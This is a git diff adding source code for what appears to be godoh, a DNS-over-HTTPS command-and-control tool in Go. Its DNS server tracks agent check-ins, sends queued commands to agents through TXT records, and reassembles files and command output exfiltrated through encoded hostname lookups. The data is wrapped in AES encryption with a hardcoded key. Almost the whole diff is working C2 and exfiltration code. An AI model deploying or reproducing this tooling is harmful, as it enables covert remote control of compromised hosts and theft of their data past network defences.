Status: "NOERROR", + } + + switch rType { + case dns.TypeA: + a, err := net.LookupHost(name) + if err != nil { + fmt.Printf("Failed to lookup host: %s\n", err) + return resp + } + + // Ensure we get a v4 response + for _, ip := range a { + if strings.Contains(ip, ":") { + continue + } + + resp.Data = ip + break + } + + break + + case dns.TypeTXT: + a, err := net.LookupTXT(name) + if err != nil { + fmt.Printf("Failed to lookup host: %s\n", err) + return resp + } + + if len(a) > 0 { + // In the case of our C2, we will only reply with a single TXT answer. + resp.Data = a[0] + } + + break + } + + return resp +} diff --git a/dnsclient/samples/google.json b/dnsclient/samples/google.json new file mode 100644 index 0000000..4bf7635 --- /dev/null +++ b/dnsclient/samples/google.json @@ -0,0 +1,36 @@ +{ + "Status": 0, + "TC": false, + "RD": true, + "RA": true, + "AD": false, + "CD": false, + "Question": [ + { + "name": "apple.com.", + "type": 1 + } + ], + "Answer": [ + { + "name": "apple.com.", + "type": 1, + "TTL": 3599, + "data": "17.178.96.59" + }, + { + "name": "apple.com.", + "type": 1, + "TTL": 3599, + "data": "17.172.224.47" + }, + { + "name": "apple.com.", + "type": 1, + "TTL": 3599, + "data": "17.142.160.59" + } + ], + "Additional": [], + "edns_client_subnet": "12.34.56.78/0" +} \ No newline at end of file diff --git a/dnsclient/structs.go b/dnsclient/structs.go new file mode 100644 index 0000000..faf92ba --- /dev/null +++ b/dnsclient/structs.go @@ -0,0 +1,36 @@ +package dnsclient + +// Response is a resolvers response type +type Response struct { + TTL int + Data string + Status string +} + +// requestResponse contains the response from a DNS query. +// Both Google and Cloudflare seem to share a scheme here. As in: +// https://tools.ietf.org/id/draft-bortzmeyer-dns-json-01.html +// +// https://developers.google.com/speed/public-dns/docs/dns-over-https#dns_response_in_json +// https://developers.cloudflare.com/1.1.1.1/dns-over-https/json-format/ +type requestResponse struct { + Status int `json:"Status"` // 0=NOERROR, 2=SERVFAIL - Standard DNS response code (32 bit integer) + TC bool `json:"TC"` // Whether the response is truncated + RD bool `json:"RD"` // Always true for Google Public DNS + RA bool `json:"RA"` // Always true for Google Public DNS + AD bool `json:"AD"` // Whether all response data was validated with DNSSEC + CD bool `json:"CD"` // Whether the client asked to disable DNSSEC + Question []struct { + Name string `json:"name"` // FQDN with trailing dot + Type int `json:"type"` // Standard DNS RR type + } `json:"Question"` + Answer []struct { + Name string `json:"name"` // Always matches name in the Question section + Type int `json:"type"` // Standard DNS RR type + TTL int `json:"TTL"` // Record's time-to-live in seconds + Data string `json:"data"` // Data + } `json:"Answer"` + Additional []interface{} `json:"Additional"` + EdnsClientSubnet string `json:"edns_client_subnet"` // IP address / scope prefix-length + Comment string `json:"Comment"` // Diagnostics information in case of an error +} diff --git a/dnsserver/doc.go b/dnsserver/doc.go new file mode 100644 index 0000000..6dabea2 --- /dev/null +++ b/dnsserver/doc.go @@ -0,0 +1 @@ +package dnsserver diff --git a/dnsserver/server.go b/dnsserver/server.go new file mode 100644 index 0000000..e22e2f4 --- /dev/null +++ b/dnsserver/server.go @@ -0,0 +1,389 @@ +package dnsserver + +import ( + "bytes" + "crypto/sha1" + "encoding/hex" + "errors" + "fmt" + "hash/crc32" + "io/ioutil" + "net" + "path/filepath" + "strconv" + "strings" + "time" + + "github.com/miekg/dns" + "github.com/sensepost/godoh/protocol" + "github.com/sensepost/godoh/utils" + + log "github.com/sirupsen/logrus" +) + +// Handler handles incoming lookups. +type Handler struct { + StreamSpool map[string]protocol.DNSBuffer + CommandSpool map[string]protocol.Command + Agents map[string]protocol.Agent // Updated with TXT record checkins +} + +// ServeDNS serves the DNS server used to read incoming lookups and process them. +func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) { + msg := dns.Msg{} + msg.SetReply(r) + + // Setup the response we will send. By default we assume everything + // will be successful and flip to failure as needed. + msg.Authoritative = true + domain := msg.Question[0].Name + aRecordResponse := protocol.SuccessDNSResponse + txtRecordResponse := protocol.NoCmdTxtResponse + + // Now, depending on the question we got, parse, split and do what is needed. + switch r.Question[0].Qtype { + case dns.TypeA: + + // parse the question labels + ident, streamType, seq, transferProtocol, byteData, err := h.parseARRLabels(r) + if err != nil { + aRecordResponse = err.Error() + break + } + + // A few things can happen here. Many of the code paths rely on + // knowing whether we have an existing stream for this ident. So + // get the status of that and save the DNSSteam if we have it. + bufferRecord, ok := h.StreamSpool[ident] + + // Handle new streams by taking note and starting them + if (streamType == protocol.StreamStart) && !ok { + + DNSBuf := &protocol.DNSBuffer{ + Identifier: ident, + Seq: seq, + Started: true, + Finished: false, + Protocol: transferProtocol, + } + + // Add this new stream identifier + h.StreamSpool[ident] = *DNSBuf + log.WithFields(log.Fields{"ident": ident}).Info("New incoming DNS stream started") + + break + } + + // Error cases for a new stream request + if (streamType == protocol.StreamStart) && ok { + log.WithFields(log.Fields{"ident": ident}). + Error("Tried to start a new stream for an already recorded identifier. Bailing") + aRecordResponse = protocol.FailureDNSResponse + break + } + + // Handle appending data to streams + if (streamType == protocol.StreamData) && ok && !bufferRecord.Finished { + + bufferRecord.Data = append(bufferRecord.Data, byteData...) + bufferRecord.Seq = seq + + // update the buffer for this client + h.StreamSpool[ident] = bufferRecord + + log.WithFields(log.Fields{"ident": ident, "seq": seq, "data": byteData}). + Debug("Wrote new data chunk") + break + } + + // Handle errors for data appends + if (streamType == protocol.StreamData) && !ok { + log.WithFields(log.Fields{"ident": ident}). + Error("Tried to append to a steam that is not registered. Bailing") + aRecordResponse = protocol.FailureDNSResponse + break + } + + if (streamType == protocol.StreamData) && ok && bufferRecord.Finished { + log.WithFields(log.Fields{"ident": ident}). + Error("Tried to append to a steam that is already finished. Bailing") + aRecordResponse = protocol.FailureDNSResponse + break + } + + // Handle closing Streams + if (streamType == protocol.StreamEnd) && ok && !bufferRecord.Finished { + bufferRecord.Finished = true + bufferRecord.Started = false + bufferRecord.Seq = seq + + // update the buffer for this client + h.StreamSpool[ident] = bufferRecord + + switch bufferRecord.Protocol { + case protocol.FileProtocol: + log.WithFields(log.Fields{"ident": ident}). + Info("Attempting to decode the finished FileProtocol stream.") + + fp := &protocol.File{} + if err := utils.UngobUnpress(fp, bufferRecord.Data); err != nil { + log.WithFields(log.Fields{"ident": ident, "err": err}). + Error("UngobUnpress failed.") + aRecordResponse = protocol.FailureDNSResponse + break + } + + // Update file path to only be the base name + fp.Name = filepath.Base(fp.Name) + + log.WithFields(log.Fields{"ident": ident, "file-name": fp.Name, "file-sha": fp.Shasum}). + Info("Recieved file information.") + + // check shasum + h := sha1.New() + h.Write(*fp.Data) + cSum := hex.EncodeToString(h.Sum(nil)) + + if cSum == fp.Shasum { + log.WithFields(log.Fields{ + "ident": ident, + "file-name": fp.Name, + "file-sha": fp.Shasum, + "calculated-sha": cSum, + }).Info("Calculated SHAsum matches") + } else { + log.WithFields(log.Fields{ + "ident": ident, + "file-name": fp.Name, + "file-sha": fp.Shasum, + "calculated-sha": cSum, + }).Warn("Calculated SHAsum does not match!") + } + + log.WithFields(log.Fields{"ident": ident, "file-name": fp.Name}). + Info("Writing file to disk.") + + if err := ioutil.WriteFile(fp.Name, *fp.Data, 0644); err != nil { + log.WithFields(log.Fields{"ident": ident, "file-name": fp.Name, "err": err}). + Info("Failed writing file to disk.") + aRecordResponse = protocol.FailureDNSResponse + break + } + + break + + case protocol.CmdProtocol: + log.WithFields(log.Fields{"ident": ident}). + Info("Attempting to decode the finished CmdProtol stream.") + + cp := &protocol.Command{} + if err := utils.UngobUnpress(cp, bufferRecord.Data); err != nil { + log.WithFields(log.Fields{"ident": ident, "err": err}). + Error("UngobUnpress failed.") + aRecordResponse = protocol.FailureDNSResponse + break + } + + fmt.Printf("\nCommand Output:\n-------\n%s\n", cp.Data) + + break + + default: + log.WithFields(log.Fields{"ident": ident}). + Info("Unknown protocol to decode? DODGE!") + aRecordResponse = protocol.FailureDNSResponse + break + } + + break + } + + // Handle closing errors + if (streamType == protocol.StreamEnd) && !ok { + log.WithFields(log.Fields{"ident": ident}). + Error("Tried to append to a steam that is not known. Bailing") + aRecordResponse = protocol.FailureDNSResponse + break + } + + break + + case dns.TypeTXT: + ident, err := h.parseTxtRRLabels(r) + if err != nil { + fmt.Printf("Failed to parse identifer: %s", err) + txtRecordResponse = protocol.ErrorTxtResponse + break + } + + // update & record agent meta data + agentMeta, ok := h.Agents[ident] + if !ok { + // register new agent + agentMeta = protocol.Agent{ + Identifier: ident, + FirstCheckin: time.Now(), + LastCheckin: time.Now(), + } + log.WithFields(log.Fields{"ident": ident}).Info("First time checkin for agent") + h.Agents[ident] = agentMeta + } else { + // Update the last checkin time + agentMeta.LastCheckin = time.Now() + h.Agents[ident] = agentMeta + } + + // check if we have a command + cmd, ok := h.CommandSpool[ident] + if !ok { + break + } + + log.WithFields(log.Fields{"ident": ident, "cmd": cmd.Exec}). + Info("Giving agent a new command as checkin response") + txtRecordResponse = protocol.CmdTxtResponse + + var ec bytes.Buffer + utils.GobPress(cmd.GetOutgoing(), &ec) + additionalTxtKey := fmt.Sprintf("p=%x", ec.Bytes()) + + if len(additionalTxtKey) > 230 { + log.WithFields(log.Fields{"ident": ident, "encoded-len": len(additionalTxtKey)}). + Info("Outgoing command too long for a single TXT record. Try a shorter one for now, sorry...") + delete(h.CommandSpool, ident) + txtRecordResponse = protocol.ErrorTxtResponse + break + } + + txtRecordResponse = append(txtRecordResponse, fmt.Sprintf("p=%x", ec.Bytes())) + + // Remove the command + delete(h.CommandSpool, ident) + + break + + default: + aRecordResponse = protocol.FailureDNSResponse + break + } + + // Now, depending on the question we got, build a response packet + switch r.Question[0].Qtype { + case dns.TypeA: + msg.Answer = append(msg.Answer, &dns.A{ + Hdr: dns.RR_Header{Name: domain, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 60}, + A: net.ParseIP(aRecordResponse), + }) + break + case dns.TypeTXT: + msg.Answer = append(msg.Answer, &dns.TXT{ + Hdr: dns.RR_Header{Name: domain, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 1}, + Txt: txtRecordResponse, + }) + } + + w.WriteMsg(&msg) +} + +// parseARRLabels splits and parses relevant labels from a question +func (h *Handler) parseARRLabels(r *dns.Msg) (string, byte, int, int, []byte, error) { + + // A hostnames labels are what is interesting to us. Extract them. + hsq := strings.Split(r.Question[0].String(), ".") + + if len(hsq) <= 9 { + fmt.Println("Question had less than 9 labels, bailing.") + return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse) + } + + // Based on the protocol, we have fields to parse. + // See protocol.utils.Requestify for details. + + // the first label will have a ;. a dig thing. + ident := strings.Split(hsq[0], ";")[1] + + streamTypeBytes, err := hex.DecodeString(hsq[1]) + if err != nil { + fmt.Printf("Failed to convert stream type to bytes:\n%s\n", err) + return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse) + } + streamType := streamTypeBytes[0] + + seq, err := strconv.Atoi(hsq[2]) + if err != nil { + fmt.Printf("Failed to convert sequence to Integer:\n%s\n", err) + return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse) + } + + transferProtocol, err := strconv.Atoi(hsq[4]) + if err != nil { + fmt.Printf("Failed to convert protocol to Integer:\n%s\n", err) + return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse) + } + + // dataLen is used only in this function to determine the concat + // amount for data itself. + dataLen, err := strconv.Atoi(hsq[5]) + if err != nil { + fmt.Printf("Failed to convert data length to Integer:\n%s\n", err) + return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse) + } + + // build up the data variable. We assume of a label was 0 + // then the data is not interesting. + var data string + switch dataLen { + case 1: + data = hsq[6] + break + case 2: + data = hsq[6] + hsq[7] + break + case 3: + data = hsq[6] + hsq[7] + hsq[8] + break + } + + // decode the data + byteData, err := hex.DecodeString(data) + if err != nil { + fmt.Printf("Could not decode data:\n%s\n", err) + return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse) + } + + // crc32 check + if hsq[3] != fmt.Sprintf("%02x", crc32.ChecksumIEEE(byteData)) { + log.WithFields(log.Fields{ + "expected": hsq[3], + "calculated": crc32.ChecksumIEEE(byteData), + "stream-type": streamType, + "ident": ident, + "seq": seq, + }).Warn("Checksum failure") + } + + return ident, streamType, seq, transferProtocol, byteData, nil +} + +// parseARRLabels splits and parses relevant labels from a question +func (h *Handler) parseTxtRRLabels(r *dns.Msg) (string, error) { + + // A hostnames labels are what is interesting to us. Extract them. + hsq := strings.Split(r.Question[0].String(), ".") + + if len(hsq) <= 1 { + fmt.Println("TXT Question had less than 1 labels, bailing.") + return "", errors.New(protocol.FailureDNSResponse) + } + + // the first label will have a ;. a dig thing. + identData := strings.Split(hsq[0], ";")[1] + identBytes, err := hex.DecodeString(identData) + if err != nil { + fmt.Printf("Failed to decode ident bytes:\n%s\n", err) + return "", errors.New(protocol.FailureDNSResponse) + } + ident := string(identBytes) + + return ident, nil +} diff --git a/main.go b/main.go new file mode 100644 index 0000000..3be7d2a --- /dev/null +++ b/main.go @@ -0,0 +1,7 @@ +package main + +import "github.com/sensepost/godoh/cmd" + +func main() { + cmd.Execute() +} diff --git a/protocol/command.go b/protocol/command.go new file mode 100644 index 0000000..a701a4f --- /dev/null +++ b/protocol/command.go @@ -0,0 +1,42 @@ +package protocol + +import ( + "bytes" + "time" + + "github.com/sensepost/godoh/utils" +) + +// Command represents a command to be send over DNS. +type Command struct { + Exec string + Data []byte + ExecTime time.Time + identifier string +} + +// Prepare configures the File struct with relevant data. +func (c *Command) Prepare(cmd string) { + + c.Exec = cmd + c.identifier = utils.RandomString(5) +} + +// GetOutgoing returns the hostnames to lookup as part of a file +// transfer operation. +func (c *Command) GetOutgoing() string { + + return c.Exec +} + +// GetRequests returns the hostnames to lookup as part of a command +// output operation. +func (c *Command) GetRequests() ([]string, string) { + + var b bytes.Buffer + utils.GobPress(c, &b) + + requests := Requestify(b.Bytes(), CmdProtocol) + + return requests, SuccessDNSResponse +} diff --git a/protocol/constants.go b/protocol/constants.go new file mode 100644 index 0000000..5b32dc5 --- /dev/null +++ b/protocol/constants.go @@ -0,0 +1,57 @@ +package protocol + +import ( + "time" +) + +// Response codes sent as DNS answers. +const ( + SuccessDNSResponse = "1.1.1.1" + FailureDNSResponse = "1.1.1.2" +) + +// TXT record default responses +var ( + NoCmdTxtResponse = []string{ + "v=B2B3FE1C", + } + ErrorTxtResponse = []string{ + "v=D31CFAA4", + } + CmdTxtResponse = []string{ + "v=A9F466E8", + } +) + +// MaxLabelSize is the maximum size a DNS hostname label may be. +const MaxLabelSize = 63 + +// Protocols understood +const ( + FileProtocol = iota + CmdProtocol +) + +// Request stream status +const ( + StreamStart = 0xbe + StreamData = 0xef + StreamEnd = 0xca +) + +// DNSBuffer represents a pending DNS conversation +type DNSBuffer struct { + Identifier string + Data []byte + Seq int + Started bool + Finished bool + Protocol int +} + +// Agent represents an agent connected to this C2 +type Agent struct { + Identifier string + FirstCheckin time.Time + LastCheckin time.Time +} diff --git a/protocol/doc.go b/protocol/doc.go new file mode 100644 index 0000000..2d0eaff --- /dev/null +++ b/protocol/doc.go @@ -0,0 +1 @@ +package protocol diff --git a/protocol/file.go b/protocol/file.go new file mode 100644 index 0000000..b510264 --- /dev/null +++ b/protocol/file.go @@ -0,0 +1,45 @@ +package protocol + +import ( + "bytes" + "crypto/sha1" + "encoding/hex" + "os" + + "github.com/sensepost/godoh/utils" +) + +// File represents a file to be send over DNS. +type File struct { + Size int64 + Shasum string + Name string + Data *[]byte + identifier string +} + +// Prepare configures the File struct with relevant data. +func (fc *File) Prepare(data *[]byte, fileInfo os.FileInfo) { + + // prepare a shasum instance + h := sha1.New() + h.Write(*data) + + fc.Size = fileInfo.Size() + fc.Shasum = hex.EncodeToString(h.Sum(nil)) + fc.Name = fileInfo.Name() + fc.Data = data + fc.identifier = utils.RandomString(5) +} + +// GetRequests returns the hostnames to lookup as part of a file +// transfer operation. +func (fc *File) GetRequests() ([]string, string) { + + var b bytes.Buffer + utils.GobPress(fc, &b) + + requests := Requestify(b.Bytes(), FileProtocol) + + return requests, SuccessDNSResponse +} diff --git a/protocol/structs.go b/protocol/structs.go new file mode 100644 index 0000000..3e415ad --- /dev/null +++ b/protocol/structs.go @@ -0,0 +1,8 @@ +package protocol + +// FileTransport defines properties, as well as the data for a file. +type FileTransport struct { + Data []byte + Size int64 + Shasum string +} diff --git a/protocol/utils.go b/protocol/utils.go new file mode 100644 index 0000000..7ea79cc --- /dev/null +++ b/protocol/utils.go @@ -0,0 +1,97 @@ +package protocol + +import ( + "crypto/rand" + "fmt" + "hash/crc32" + "log" + + "github.com/sensepost/godoh/utils" +) + +// Requestify generates hostnames for DNS lookups +// +// A full conversation with the server will involve multiple DNS lookups. +// Requestifying assumes that the client will be sending data to the server. +// Each request normally requires the server to respond with a specific IP +// address indicating success, failure or other scenarios. Checking these is +// up to the caller to verify, but something to keep in mind. +// +// Generically speaking, hostnames for lookups will have multiple labels. ie: +// Structure: +// ident.type.seq.crc32.proto.datalen.data.data.data +// +// ident: the identifier for this specific stream +// type: stream status indicator. ie: start, sending, stop +// seq: a sequence number to track request count +// crc32: checksum value +// proto: the protocol this transaction is for. eg: file transfer/cmd +// datalen: how much data does this packet have +// data: the labels containing data. max of 3 but can have only one too +// +// Size: 4 + 2 + 16 + 8 + 2 + 2 + 60 + 60 + 60 for a maximum size of 214 +// Sample: +// 0000.00.0000000000000000.00000000.00.00.60.60.60 +// +// Note: Where the label lenths may be something like 60, a byte takes two of +// those, meaning that each data label is only 30 bytes for a total of 90 +// bytes per request, excluding ident, seq and crc32. +func Requestify(data []byte, protocol int) []string { + var requests []string + + seq := 1 + ident := make([]byte, 2) + if _, err := rand.Read(ident); err != nil { + log.Fatal(err) + } + + var emptyBytes []byte + // Start stream / end stream bytes. + // initBytes := []byte{0x00, 0x00, 0x00} + // destuctBytes := []byte{0xff, 0xff, 0xff} + // destuctBytes := []byte{0x01, 0x01, 0x01} + + // blankBytes := initBytes + + // initialization request to start this stream + initRequest := fmt.Sprintf("%x.%x.%d.%02x.%x.%x.%x.%x.%x", + ident, StreamStart, seq-1, crc32.ChecksumIEEE(emptyBytes), protocol, 0, 0x00, 0x00, 0x00) + requests = append(requests, initRequest) + + for _, s := range utils.ByteSplit(data, 90) { + labelSplit := utils.ByteSplit(s, 30) + + // Having the data split into 3 labels, prepare the data label + // that will be used in the request. + var dataLabel string + switch len(labelSplit) { + case 1: + dataLabel = fmt.Sprintf("%x.%x.%x", labelSplit[0], 0x00, 0x00) + break + case 2: + dataLabel = fmt.Sprintf("%x.%x.%x", labelSplit[0], labelSplit[1], 0x00) + break + case 3: + dataLabel = fmt.Sprintf("%x.%x.%x", labelSplit[0], labelSplit[1], labelSplit[2]) + break + } + + request := fmt.Sprintf("%x.%x.%d.%02x.%x.%x.%s", + ident, StreamData, seq, crc32.ChecksumIEEE(s), protocol, len(labelSplit), dataLabel) + requests = append(requests, request) + + // increment the sequence number + seq++ + } + + destructRequest := fmt.Sprintf("%x.%x.%d.%02x.%x.%x.%x.%x.%x", + ident, StreamEnd, seq, crc32.ChecksumIEEE(emptyBytes), protocol, 0, 0x00, 0x00, 0x00) + requests = append(requests, destructRequest) + + return requests +} + +// Textify creates a TXT record response +func Textify(data []byte, protocol int) string { + return "" +} diff --git a/utils/doc.go b/utils/doc.go new file mode 100644 index 0000000..d4b585b --- /dev/null +++ b/utils/doc.go @@ -0,0 +1 @@ +package utils diff --git a/utils/key.go b/utils/key.go new file mode 100644 index 0000000..797b805 --- /dev/null +++ b/utils/key.go @@ -0,0 +1,5 @@ +package utils + +// AES key used to encrypt data blobs in communications +// $ openssl rand -hex 16 +const cryptKey = `6bae426c07be6a1b0bae3349703aeeaa` diff --git a/utils/utils.go b/utils/utils.go new file mode 100644 index 0000000..574084d --- /dev/null +++ b/utils/utils.go @@ -0,0 +1,164 @@ +package utils + +import ( + "bytes" + "compress/gzip" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/gob" + "encoding/hex" + "errors" + "io" + "io/ioutil" + mrand "math/rand" +) + +// GobPress will gob encode and compress a struct +func GobPress(s interface{}, data io.Writer) error { + + b := bytes.Buffer{} + encoder := gob.NewEncoder(&b) + + if err := encoder.Encode(s); err != nil { + return err + } + + // Encrypt the Gobbed data + enc, err := Encrypt(b.Bytes()) + if err != nil { + return err + } + + if err := GzipWrite(data, enc); err != nil { + return err + } + + return nil +} + +// UngobUnpress will gob decode and decompress a struct +func UngobUnpress(s interface{}, data []byte) error { + + dcData := bytes.Buffer{} + if err := GunzipWrite(&dcData, data); err != nil { + return err + } + + // Decrypt the data + decryptData, err := Decrypt(dcData.Bytes()) + if err != nil { + return err + } + + decoder := gob.NewDecoder(bytes.NewReader(decryptData)) + if err := decoder.Decode(s); err != nil { + return err + } + + return nil +} + +// GzipWrite data to a Writer +func GzipWrite(w io.Writer, data []byte) error { + // Write gzipped data to the client + gw, err := gzip.NewWriterLevel(w, gzip.BestCompression) + defer gw.Close() + gw.Write(data) + + return err +} + +// GunzipWrite data to a Writer +func GunzipWrite(w io.Writer, data []byte) error { + // Write gzipped data to the client + gr, err := gzip.NewReader(bytes.NewBuffer(data)) + defer gr.Close() + data, err = ioutil.ReadAll(gr) + if err != nil { + return err + } + w.Write(data) + + return nil +} + +// ByteSplit will split []byte into chunks of lim +func ByteSplit(buf []byte, lim int) [][]byte { + var chunk []byte + + chunks := make([][]byte, 0, len(buf)/lim+1) + for len(buf) >= lim { + chunk, buf = buf[:lim], buf[lim:] + chunks = append(chunks, chunk) + } + + if len(buf) > 0 { + chunks = append(chunks, buf[:len(buf)]) + } + + return chunks +} + +// RandomString just generates a crappy random string. +// This is not a crypto related function, so "how random" really doesnt matter. +func RandomString(strlen int) string { + + const chars = "abcdefghijklmnopqrstuvwxyz0123456789" + result := make([]byte, strlen) + for i := range result { + result[i] = chars[mrand.Intn(len(chars))] + } + return string(result) +} + +// Encrypt will encrypt a byte stream +// https://golang.org/pkg/crypto/cipher/#NewCFBEncrypter +func Encrypt(plaintext []byte) ([]byte, error) { + key, _ := hex.DecodeString(cryptKey) + + block, err := aes.NewCipher(key) + if err != nil { + panic(err) + } + + // The IV needs to be unique, but not secure. Therefore it's common to + // include it at the beginning of the ciphertext. + ciphertext := make([]byte, aes.BlockSize+len(plaintext)) + iv := ciphertext[:aes.BlockSize] + if _, err := io.ReadFull(rand.Reader, iv); err != nil { + return nil, err + } + + stream := cipher.NewCFBEncrypter(block, iv) + stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext) + + return ciphertext, nil +} + +// Decrypt will decrypt a byte stream +// https://golang.org/pkg/crypto/cipher/#example_NewCFBDecrypter +func Decrypt(ciphertext []byte) ([]byte, error) { + key, _ := hex.DecodeString(cryptKey) + + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + // The IV needs to be unique, but not secure. Therefore it's common to + // include it at the beginning of the ciphertext. + if len(ciphertext) < aes.BlockSize { + return nil, errors.New("Cipher text too short") + } + + iv := ciphertext[:aes.BlockSize] + ciphertext = ciphertext[aes.BlockSize:] + + stream := cipher.NewCFBDecrypter(block, iv) + + // XORKeyStream can work in-place if the two arguments are the same. + stream.XORKeyStream(ciphertext, ciphertext) + + return ciphertext, nil +}